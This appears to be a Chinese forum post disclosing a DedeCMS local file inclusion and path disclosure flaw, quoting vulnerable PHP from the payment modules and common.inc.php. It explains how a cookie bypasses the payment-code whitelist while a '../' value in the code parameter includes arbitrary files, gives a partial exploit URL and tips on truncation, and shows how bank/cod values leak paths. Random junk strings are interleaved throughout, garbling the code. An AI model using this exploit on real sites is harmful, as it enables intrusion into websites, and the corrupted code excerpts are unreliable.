dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
' D! G* O1 x+ y$ R. LInclude/payment/yeepay.php
# S7 U3 l1 }+ L, ^9 D* \6 q# m漏洞均出现在respond方法里，估计这两个文件是临时工写的。
+ [+ j! S: W+ z1 |# V
Include/payment/alipay.php

, Y1 h" E6 W4 o7 [. U, |# g......
   function respond()
    {
3 Q& ^/ P1 O5 b9 h& Y        if (!empty($_POST))
        {
            foreach($_POST as $key => $data)
            {
+ c/ a7 M( E$ t                $_GET[$key] = $data;
6 S" _4 M+ O6 W            }
! R) x0 J" Y9 U/ q! i        }
7 N2 A5 r6 x& D# }; p2 U1 i        /* 引入配置文件 */
/ H$ }: X- K  V: V        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 L6 Y. f- b/ x9 k  f9 W......

% A* G0 Z4 S! I
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

3 d! b0 l. P; {# p7 }* |3 u+ r

......
4 w, u% A( b2 Q8 U3 Z    function respond()
+ \" @% @5 t  O5 X) w    {
. x) L( m% W% }4 m/ ]1 z7 N
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

" Y1 i8 v1 R( U. L) R6 F        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
( \+ ]9 J: t9 \/ E" E* L7 a1 f......
) \7 ]" |. W+ k

1 v9 Y& D/ t; k, U6 F1 `/ \9 S3 ?

. ?( l( I! e9 s8 l# s$ C大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
5 Y' L) t6 g# s, g0 H% q
+ h/ t( V' f; B7 {) \1 |这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
% q. E: ~" G6 P) M& J% `} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
# h/ h9 O' i% q9 e* y" @3 D        $pay = new $code;
0 D: _8 o; v9 Y: a: A( |- E        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
( @8 z3 ~+ w' ^+ J; ^$ v1 f  U3 a        exit();  
0 A% x2 y9 r" C9 [3 W2 r( W    } else {
9 A9 k. \, u$ k% x8 ?: d        exit('Error:File Type Can\'t Recognized!');
    }
2 M9 f4 [# W/ e& S- Y. n}
2 G5 x9 q' c. p4 Y& a+ q" w......

4 r+ Z0 B- M* v( E  P0 y0 I


: l  |1 F7 |5 h: ?: O& I

6 X) M9 V+ s0 f: P0 l( n; ?大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
1 l. \% `1 |' V: w
回到include/common.inc.php来看看他的机制。
3 s7 Q7 d3 M5 _

, g" t2 o! ?3 h# o
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
8 O  u. D7 K. G# D& k3 K! J( Y        {
                if($_k == 'nvarname') ${$_k} = $_v;
4 ?) n9 P2 [. b; j) x9 f2 b5 W! X* I                else ${$_k} = _RunMagicQuotes($_v);
        }
! W* |1 [9 L3 h) k' o}
1 N1 m6 ]0 g/ L......
5 f5 b, l4 _, R大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 L& V  b& B" m6 Z: h由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。